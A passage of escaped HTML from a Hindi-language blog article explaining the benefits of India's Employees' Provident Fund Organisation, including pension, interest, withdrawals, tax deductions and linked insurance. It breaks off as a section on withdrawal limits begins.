\u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0924\u0915 \u091c\u092e\u093e \u0939\u094b\u0924\u093e \u0930\u0939\u0924\u093e \u0939\u0948 \u0914\u0930 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0907\u0938 \u092a\u0948\u0938\u0947 \u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0915\u093f\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0905\u092a\u0928\u0947 \u091c\u092e\u093e \u0915\u093f\u090f \u0917\u090f \u092a\u0948\u0938\u0947 \u0938\u0947 \u0928 \u0915\u0947\u0935\u0932 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0906\u0930\u093e\u092e \u0938\u0947 \u091c\u0940\u0935\u0928 \u091c\u0940 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902, \u092c\u0932\u094d\u0915\u093f \u0909\u0928 \u092a\u0948\u0938\u094b\u0902 \u0915\u094b \u092c\u094d\u092f\u093e\u091c \u0915\u0947 \u0938\u093e\u0925 \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e, EPF \u0916\u093e\u0924\u093e \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u092d\u0940 \u0938\u0915\u094d\u0930\u093f\u092f \u0930\u0939\u0924\u093e \u0939\u0948, \u0914\u0930 \u0905\u0917\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u093e\u0930\u094d\u092f\u0938\u094d\u0925\u0932 \u092c\u0926\u0932\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u0909\u0928\u0915\u093e EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u090f\u0915 \u0939\u0940 \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091f\u094d\u0930\u093e\u0902\u0938\u092b\u0930 \u0939\u094b \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AA%E0%A5%87%E0%A4%82%E0%A4%B6%E0%A4%A8_%E0%A4%95%E0%A4%BE_%E0%A4%B2%E0%A4%BE%E0%A4%AD_EPS\"><\/span><strong>\u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0932\u093e\u092d (EPS)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u0915\u0947 \u0924\u0939\u0924 Employees&#8217; Pension Scheme (EPS) \u092a\u0947\u0902\u0936\u0928 \u092a\u094d\u0930\u0926\u093e\u0928 \u0915\u0930\u0924\u0940 \u0939\u0948, \u091c\u094b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0909\u0928\u094d\u0939\u0947\u0902 \u090f\u0915 \u0928\u093f\u0936\u094d\u091a\u093f\u0924 \u092e\u093e\u0938\u093f\u0915 \u092a\u0947\u0902\u0936\u0928 \u0926\u0947\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938\u0915\u093e \u0938\u092c\u0938\u0947 \u092c\u0921\u093c\u093e \u0932\u093e\u092d \u092f\u0939 \u0939\u0948 \u0915\u093f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0940 \u092e\u0943\u0924\u094d\u092f\u0941 \u0915\u0947 \u092c\u093e\u0926 \u0909\u0938\u0915\u0947 \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u092d\u0940 \u092b\u0948\u092e\u093f\u0932\u0940 \u092a\u0947\u0902\u0936\u0928 \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0924\u0939\u0924 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u092a\u0924\u093f\/\u092a\u0924\u094d\u0928\u0940 \u0914\u0930 \u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0932\u093e\u092d \u092e\u093f\u0932\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u0906\u0930\u094d\u0925\u093f\u0915 \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u0905\u0917\u0930 \u0915\u093f\u0938\u0940 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0928\u0947 \u0915\u092e \u0938\u0947 \u0915\u092e 10 \u0938\u093e\u0932 \u0924\u0915 EPF\/EPS \u092e\u0947\u0902 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u093f\u092f\u093e \u0939\u0948, \u0924\u094b \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u0935\u0939 \u092a\u0947\u0902\u0936\u0928 \u0915\u093e \u0932\u093e\u092d \u092a\u094d\u0930\u093e\u092a\u094d\u0924 \u0915\u0930 \u0938\u0915\u0924\u093e \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0938\u093e\u0925 \u0939\u0940, \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u092f\u0939 \u092a\u0947\u0902\u0936\u0928 \u091c\u0940\u0935\u0928\u092d\u0930 \u092e\u093f\u0932\u0924\u0940 \u0930\u0939\u0924\u0940 \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u094b \u0915\u094b\u0908 \u0906\u0930\u094d\u0925\u093f\u0915 \u0924\u0928\u093e\u0935 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u093e\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%B8%E0%A4%82%E0%A4%97%E0%A4%A0%E0%A4%BF%E0%A4%A4_%E0%A4%94%E0%A4%B0_%E0%A4%B8%E0%A5%81%E0%A4%B0%E0%A4%95%E0%A5%8D%E0%A4%B7%E0%A4%BF%E0%A4%A4_%E0%A4%AF%E0%A5%8B%E0%A4%9C%E0%A4%A8%E0%A4%BE_Organized_and_Secure_Planning\"><\/span><strong>\u0938\u0902\u0917\u0920\u093f\u0924 \u0914\u0930 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u092f\u094b\u091c\u0928\u093e (Organized and Secure Planning)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u092d\u093e\u0930\u0924 \u0938\u0930\u0915\u093e\u0930 \u0926\u094d\u0935\u093e\u0930\u093e \u0938\u0902\u091a\u093e\u0932\u093f\u0924 \u092f\u094b\u091c\u0928\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u094b \u0905\u092a\u0928\u0947 \u092d\u0935\u093f\u0937\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u0938\u0902\u092a\u0942\u0930\u094d\u0923 \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964 \u091a\u0942\u0902\u0915\u093f \u092f\u0939 \u092f\u094b\u091c\u0928\u093e \u0938\u0930\u0915\u093e\u0930\u0940 \u0939\u0948, \u0907\u0938\u0932\u093f\u090f \u0907\u0938\u092e\u0947\u0902 \u0928\u093f\u0935\u0947\u0936 \u0915\u0930\u0928\u0947 \u0938\u0947 \u0915\u093f\u0938\u0940 \u092d\u0940 \u092a\u094d\u0930\u0915\u093e\u0930 \u0915\u093e \u0927\u094b\u0916\u093e\u0927\u0921\u093c\u0940 \u092f\u093e \u091c\u094b\u0916\u093f\u092e \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u093e\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e, EPF \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u092e\u093e \u092a\u0948\u0938\u0947 \u092a\u0930 \u0938\u093e\u0932\u093e\u0928\u093e \u092c\u094d\u092f\u093e\u091c \u092e\u093f\u0932\u0924\u093e \u0939\u0948, \u091c\u094b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0940 \u092c\u091a\u0924 \u0915\u094b \u0914\u0930 \u092c\u0922\u093c\u093e\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%AC%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%9C_%E0%A4%95%E0%A4%BE_%E0%A4%B2%E0%A4%BE%E0%A4%AD_Benefit_of_interest\"><\/span><strong>\u092c\u094d\u092f\u093e\u091c \u0915\u093e \u0932\u093e\u092d (Benefit of interest)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPF \u0916\u093e\u0924\u093e \u092a\u0930 \u0938\u0930\u0915\u093e\u0930 \u0926\u094d\u0935\u093e\u0930\u093e \u0939\u0930 \u0938\u093e\u0932 \u092c\u094d\u092f\u093e\u091c \u0926\u093f\u092f\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u092f\u0939 \u092c\u094d\u092f\u093e\u091c \u0906\u092a\u0915\u0940 \u091c\u092e\u093e \u0930\u093e\u0936\u093f \u092a\u0930 \u091c\u0941\u0921\u093c\u0924\u093e \u0939\u0948 \u0914\u0930 \u0938\u092e\u092f \u0915\u0947 \u0938\u093e\u0925 \u092c\u0922\u093c\u0924\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964 \u092c\u094d\u092f\u093e\u091c \u0926\u0930 \u0915\u094b \u0939\u0930 \u0938\u093e\u0932 \u0938\u0930\u0915\u093e\u0930 \u0924\u092f \u0915\u0930\u0924\u0940 \u0939\u0948, \u091c\u094b \u0906\u092e \u0924\u094c\u0930 \u092a\u0930 \u092c\u093e\u091c\u093e\u0930 \u092e\u0947\u0902 \u092e\u093f\u0932\u0928\u0947 \u0935\u093e\u0932\u0940 \u092c\u094d\u092f\u093e\u091c \u0926\u0930\u094b\u0902 \u0938\u0947 \u0905\u0927\u093f\u0915 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938 \u092c\u094d\u092f\u093e\u091c \u0915\u0940 \u0935\u091c\u0939 \u0938\u0947 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0940 \u091c\u092e\u093e \u0930\u093e\u0936\u093f \u0927\u0940\u0930\u0947-\u0927\u0940\u0930\u0947 \u092c\u0922\u093c\u0924\u0940 \u0930\u0939\u0924\u0940 \u0939\u0948 \u0914\u0930 \u0909\u0928\u0915\u093e \u092a\u0948\u0938\u094b\u0902 \u092e\u0947\u0902 \u0930\u093f\u091f\u0930\u094d\u0928 \u092d\u0940 \u092c\u0947\u0939\u0924\u0930 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%86%E0%A4%B8%E0%A4%BE%E0%A4%A8_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B8%E0%A5%80_Easy_Withdrawals\"><\/span><strong>\u0906\u0938\u093e\u0928 \u0928\u093f\u0915\u093e\u0938\u0940 (Easy Withdrawals)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u0915\u093e \u090f\u0915 \u0914\u0930 \u092c\u0921\u093c\u093e \u092b\u093e\u092f\u0926\u093e \u092f\u0939 \u0939\u0948 \u0915\u093f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0906\u0938\u093e\u0928\u0940 \u0938\u0947 \u0905\u092a\u0928\u093e EPF \u092a\u0948\u0938\u093e \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0905\u0917\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0905\u092a\u0928\u0940 \u0928\u094c\u0915\u0930\u0940 \u092c\u0926\u0932\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b EPF \u0915\u093e \u092a\u0948\u0938\u093e \u092c\u093f\u0928\u093e \u0915\u093f\u0938\u0940 \u0938\u092e\u0938\u094d\u092f\u093e \u0915\u0947 \u0928\u090f \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091f\u094d\u0930\u093e\u0902\u0938\u092b\u0930 \u0915\u093f\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964 \u0905\u0917\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0930\u093f\u091f\u093e\u092f\u0930 \u0939\u094b \u091c\u093e\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u0935\u0939 \u0905\u092a\u0928\u0947 EPF \u0916\u093e\u0924\u0947 \u0938\u0947 \u092a\u0942\u0930\u093e \u092a\u0948\u0938\u093e \u0928\u093f\u0915\u093e\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u0940 \u0924\u0930\u0939, \u0905\u0917\u0930 \u0906\u092a \u0918\u0930 \u0916\u0930\u0940\u0926\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902 \u092f\u093e \u0915\u093f\u0938\u0940 \u0905\u0928\u094d\u092f \u091c\u0930\u0942\u0930\u0940 \u0915\u093e\u0930\u0923 \u0938\u0947 \u092a\u0948\u0938\u0947 \u0915\u0940 \u091c\u0930\u0942\u0930\u0924 \u0939\u094b, \u0924\u094b \u0906\u092a EPF \u0938\u0947 \u0906\u0902\u0936\u093f\u0915 \u0928\u093f\u0915\u093e\u0938\u0940 \u092d\u0940 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%86%E0%A4%AF%E0%A4%95%E0%A4%B0_%E0%A4%9B%E0%A5%82%E0%A4%9F_Tax_Benefits\"><\/span><strong>\u0906\u092f\u0915\u0930 \u091b\u0942\u091f (Tax Benefits)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u092e\u0947\u0902 \u092f\u094b\u0917\u0926\u093e\u0928 \u0915\u0930\u0928\u0947 \u092a\u0930 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0906\u092f\u0915\u0930 \u092e\u0947\u0902 \u091b\u0942\u091f \u092e\u093f\u0932\u0924\u0940 \u0939\u0948\u0964 EPF \u0915\u0940 \u0930\u093e\u0936\u0940 \u0915\u094b Section 80C \u0915\u0947 \u0924\u0939\u0924 \u091f\u0948\u0915\u094d\u0938 \u091b\u0942\u091f \u0915\u0947 \u0932\u093f\u090f \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u091f\u0948\u0915\u094d\u0938 \u092c\u091a\u093e\u0928\u0947 \u0915\u093e \u090f\u0915 \u0905\u091a\u094d\u091b\u093e \u0924\u0930\u0940\u0915\u093e \u092e\u093f\u0932\u0924\u093e \u0939\u0948\u0964 \u0907\u0938 \u0924\u0930\u0939, EPFO \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u091f\u0948\u0915\u094d\u0938 \u0932\u093e\u092d \u092d\u0940 \u092a\u094d\u0930\u0926\u093e\u0928 \u0915\u0930\u0924\u093e \u0939\u0948, \u091c\u093f\u0938\u0938\u0947 \u0909\u0928\u0915\u0947 \u0935\u093f\u0924\u094d\u0924\u0940\u092f \u092c\u094b\u091d \u0915\u094b \u0915\u092e \u0915\u093f\u092f\u093e \u091c\u093e \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%85%E0%A4%B5%E0%A4%B8%E0%A4%B0%E0%A5%8B%E0%A4%82_%E0%A4%95%E0%A4%BE_%E0%A4%B5%E0%A4%BF%E0%A4%B8%E0%A5%8D%E0%A4%A4%E0%A4%BE%E0%A4%B0_Expanding_opportunities\"><\/span><strong>\u0905\u0935\u0938\u0930\u094b\u0902 \u0915\u093e \u0935\u093f\u0938\u094d\u0924\u093e\u0930 (Expanding opportunities)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u0928\u0947 \u0905\u092c \u0921\u093f\u091c\u093f\u091f\u0932 \u0938\u0947\u0935\u093e\u0913\u0902 \u0915\u094b \u092d\u0940 \u092c\u0922\u093c\u093e\u0935\u093e \u0926\u093f\u092f\u093e \u0939\u0948\u0964 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0911\u0928\u0932\u093e\u0907\u0928 \u092e\u093e\u0927\u094d\u092f\u092e \u0938\u0947 \u0905\u092a\u0928\u0940 EPF \u092a\u093e\u0938\u092c\u0941\u0915 \u0926\u0947\u0916 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902, \u0905\u092a\u0928\u093e EPF \u092c\u0948\u0932\u0947\u0902\u0938 \u091a\u0947\u0915 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902, \u0914\u0930 EPF \u0938\u0947 \u0938\u0902\u092c\u0902\u0927\u093f\u0924 \u0938\u092d\u0940 \u0938\u0947\u0935\u093e\u0913\u0902 \u0915\u093e \u0909\u092a\u092f\u094b\u0917 \u0915\u0930 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964 \u0907\u0938\u0938\u0947 \u092a\u0942\u0930\u0940 \u092a\u094d\u0930\u0915\u094d\u0930\u093f\u092f\u093e \u0938\u0930\u0932 \u0914\u0930 \u0938\u092e\u092f \u0915\u0940 \u092c\u091a\u0924 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e, EPFO \u0905\u092c \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u0905\u092a\u0928\u093e EPF \u0916\u093e\u0924\u093e \u0911\u0928\u0932\u093e\u0907\u0928 \u091f\u094d\u0930\u093e\u0902\u0938\u092b\u0930 \u0915\u0930\u0928\u0947 \u0914\u0930 \u0915\u094d\u0932\u0947\u092e \u0915\u0930\u0928\u0947 \u0915\u0940 \u0938\u0941\u0935\u093f\u0927\u093e \u092d\u0940 \u092a\u094d\u0930\u0926\u093e\u0928 \u0915\u0930\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%95%E0%A4%B0%E0%A5%8D%E0%A4%AE%E0%A4%9A%E0%A4%BE%E0%A4%B0%E0%A5%80_%E0%A4%95%E0%A5%87_%E0%A4%B2%E0%A4%BF%E0%A4%8F_%E0%A4%95%E0%A4%BE%E0%A4%AE_%E0%A4%95%E0%A4%B0%E0%A4%A8%E0%A5%87_%E0%A4%95%E0%A4%BE_%E0%A4%AA%E0%A5%8D%E0%A4%B0%E0%A5%87%E0%A4%B0%E0%A4%A3%E0%A4%BE_Motivation_to_work_for_employees\"><\/span><strong>\u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0947 \u0932\u093f\u090f \u0915\u093e\u092e \u0915\u0930\u0928\u0947 \u0915\u093e \u092a\u094d\u0930\u0947\u0930\u0923\u093e (Motivation to work for employees)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u092d\u0935\u093f\u0937\u094d\u092f \u0915\u0947 \u0932\u093f\u090f \u092c\u091a\u0924 \u0915\u0930\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u092a\u094d\u0930\u0947\u0930\u093f\u0924 \u0915\u0930\u0924\u093e \u0939\u0948\u0964 \u091c\u092c \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0939\u0930 \u092e\u0939\u0940\u0928\u0947 \u090f\u0915 \u091b\u094b\u091f\u093e \u0939\u093f\u0938\u094d\u0938\u093e \u0905\u092a\u0928\u0940 \u0938\u0948\u0932\u0930\u0940 \u0938\u0947 EPF \u0916\u093e\u0924\u0947 \u092e\u0947\u0902 \u091c\u092e\u093e \u0915\u0930\u0924\u0947 \u0939\u0948\u0902, \u0924\u094b \u092f\u0939 \u0909\u0928\u0915\u0940 \u0932\u0902\u092c\u0940 \u0905\u0935\u0927\u093f \u0915\u0940 \u0935\u093f\u0924\u094d\u0924\u0940\u092f \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u0915\u0947 \u0932\u093f\u090f \u090f\u0915 \u0905\u091a\u094d\u091b\u093e \u0915\u0926\u092e \u0939\u094b\u0924\u093e \u0939\u0948\u0964 \u092f\u0939 \u0906\u0926\u0924 \u092d\u0935\u093f\u0937\u094d\u092f \u092e\u0947\u0902 \u092c\u0921\u093c\u0940 \u0935\u093f\u0924\u094d\u0924\u0940\u092f \u0938\u0939\u093e\u092f\u0924\u093e \u0915\u0947 \u0930\u0942\u092a \u092e\u0947\u0902 \u0915\u093e\u092e \u0915\u0930\u0924\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E0%A4%85%E0%A4%A8%E0%A5%8D%E0%A4%AF_%E0%A4%AF%E0%A5%8B%E0%A4%9C%E0%A4%A8%E0%A4%BE%E0%A4%93%E0%A4%82_%E0%A4%95%E0%A4%BE_%E0%A4%AB%E0%A4%BE%E0%A4%AF%E0%A4%A6%E0%A4%BE_Benefits_of_other_schemes\"><\/span><strong>\u0905\u0928\u094d\u092f \u092f\u094b\u091c\u0928\u093e\u0913\u0902 \u0915\u093e \u092b\u093e\u092f\u0926\u093e (Benefits of other schemes)<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>EPFO \u0926\u094d\u0935\u093e\u0930\u093e \u0938\u0902\u091a\u093e\u0932\u093f\u0924 \u0914\u0930 \u092d\u0940 \u092f\u094b\u091c\u0928\u093e\u090f\u0901 \u0939\u0948\u0902 \u091c\u0948\u0938\u0947 Employees&#8217; Deposit Linked Insurance (EDLI) \u092f\u094b\u091c\u0928\u093e, \u091c\u094b \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u0940 \u0905\u0938\u093e\u092e\u092f\u093f\u0915 \u092e\u0943\u0924\u094d\u092f\u0941 \u0939\u094b\u0928\u0947 \u092a\u0930 \u0909\u0928\u0915\u0947 \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u090f\u0915\u092e\u0941\u0936\u094d\u0924 \u0930\u093e\u0936\u093f \u0926\u0947\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e, EPFO \u0915\u0947 \u0924\u0939\u0924 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u094b \u0938\u094d\u0935\u093e\u0938\u094d\u0925\u094d\u092f \u092c\u0940\u092e\u093e \u091c\u0948\u0938\u0940 \u092f\u094b\u091c\u0928\u093e\u0913\u0902 \u0915\u093e \u092d\u0940 \u0932\u093e\u092d \u092e\u093f\u0932 \u0938\u0915\u0924\u093e \u0939\u0948, \u091c\u094b \u0909\u0928\u0915\u0940 \u0935\u093f\u0924\u094d\u0924\u0940\u092f \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u0915\u094b \u0914\u0930 \u092e\u091c\u092c\u0942\u0924 \u092c\u0928\u093e\u0924\u0940 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<p>EPFO \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b \u090f\u0915 \u0938\u094d\u0925\u093f\u0930 \u0914\u0930 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924 \u092d\u0935\u093f\u0937\u094d\u092f \u0926\u0947\u0928\u0947 \u0915\u0947 \u0932\u093f\u090f \u090f\u0915 \u092c\u0947\u0939\u0924\u0930\u0940\u0928 \u092f\u094b\u091c\u0928\u093e \u0939\u0948\u0964 \u092f\u0939 \u0928 \u0915\u0947\u0935\u0932 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f \u0915\u0947 \u092c\u093e\u0926 \u092a\u0947\u0902\u0936\u0928 \u092a\u094d\u0930\u0926\u093e\u0928 \u0915\u0930\u0924\u0940 \u0939\u0948, \u092c\u0932\u094d\u0915\u093f \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u0940 \u0915\u094b \u0935\u093f\u0924\u094d\u0924\u0940\u092f \u0938\u0941\u0930\u0915\u094d\u0937\u093e, \u091f\u0948\u0915\u094d\u0938 \u0932\u093e\u092d, \u0914\u0930 \u092c\u094d\u092f\u093e\u091c \u091c\u0948\u0938\u0940 \u0905\u0928\u094d\u092f \u0938\u0941\u0935\u093f\u0927\u093e\u090f\u0902 \u092d\u0940 \u0926\u0947\u0924\u0940 \u0939\u0948\u0964 \u0907\u0938\u0915\u0947 \u0905\u0932\u093e\u0935\u093e, \u092a\u0930\u093f\u0935\u093e\u0930 \u0915\u094b \u092d\u0940 \u0938\u0941\u0930\u0915\u094d\u0937\u093e \u092e\u093f\u0932\u0924\u0940 \u0939\u0948, \u091c\u094b EPFO \u0915\u094b \u090f\u0915 \u092c\u0939\u0941\u0924 \u092e\u0939\u0924\u094d\u0935\u092a\u0942\u0930\u094d\u0923 \u0914\u0930 \u0932\u093e\u092d\u0915\u093e\u0930\u0940 \u092f\u094b\u091c\u0928\u093e \u092c\u0928\u093e\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"EPFO_%E0%A4%B8%E0%A5%87_%E0%A4%95%E0%A4%BF%E0%A4%A4%E0%A4%A8%E0%A4%BE_%E0%A4%AA%E0%A5%88%E0%A4%B8%E0%A4%BE_%E0%A4%A8%E0%A4%BF%E0%A4%95%E0%A4%BE%E0%A4%B2_%E0%A4%B8%E0%A4%95%E0%A4%A4%E0%A5%87_%E0%A4%B9%E0%A5%88%E0%A4%82_How_much_money_can_I_withdraw_from_EPFO\"><\/span><strong>EPFO <\/strong><strong>\u0938\u0947<\/strong><strong> <\/strong><strong>\u0915\u093f\u0924\u0928\u093e<\/strong><strong> <\/strong><strong>\u092a\u0948\u0938\u093e<\/strong><strong> <\/strong><strong>\u0928\u093f\u0915\u093e\u0932<\/strong><strong> <\/strong><strong>\u0938\u0915\u0924\u0947<\/strong><strong> <\/strong><strong>\u0939\u0948\u0902 (How much money can I withdraw from EPFO)<\/strong><strong>?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p>EPFO (Employees&#8217; Provident Fund Organisation) \u0938\u0947 \u092a\u0948\u0938\u0947 \u0928\u093f\u0915\u093e\u0932\u0928\u0947 \u0915\u0940 \u092a\u094d\u0930\u0915\u094d\u0930\u093f\u092f\u093e \u0914\u0930 \u0930\u093e\u0936\u093f \u0915\u0941\u091b \u0936\u0930\u094d\u0924\u094b\u0902 \u0915\u0947 \u0905\u0927\u0940\u0928 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964 \u0915\u0930\u094d\u092e\u091a\u093e\u0930\u093f\u092f\u094b\u0902 \u0915\u094b EPF \u0916\u093e\u0924\u0947 \u0938\u0947 \u092a\u0948\u0938\u093e \u0928\u093f\u0915\u093e\u0932\u0928\u0947 \u0915\u0940 \u0905\u0928\u0941\u092e\u0924\u093f \u0924\u092c \u092e\u093f\u0932\u0924\u0940 \u0939\u0948 \u091c\u092c \u0935\u0947 \u0915\u0941\u091b \u0935\u093f\u0936\u0947\u0937 \u092a\u0930\u093f\u0938\u094d\u0925\u093f\u0924\u093f\u092f\u094b\u0902 \u092e\u0947\u0902 \u0939\u094b\u0924\u0947 \u0939\u0948\u0902, \u091c\u0948\u0938\u0947 \u0930\u093f\u091f\u093e\u092f\u0930\u092e\u0947\u0902\u091f, \u0928\u094c\u0915\u0930\u0940 \u091b\u094b\u0921\u093c\u0928\u093e, \u092f\u093e \u0906\u0902\u0936\u093f\u0915 \u0928\u093f\u0915\u093e\u0938\u0940 \u0915\u0940 \u0938\u094d\u0925\u093f\u0924\u093f\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" 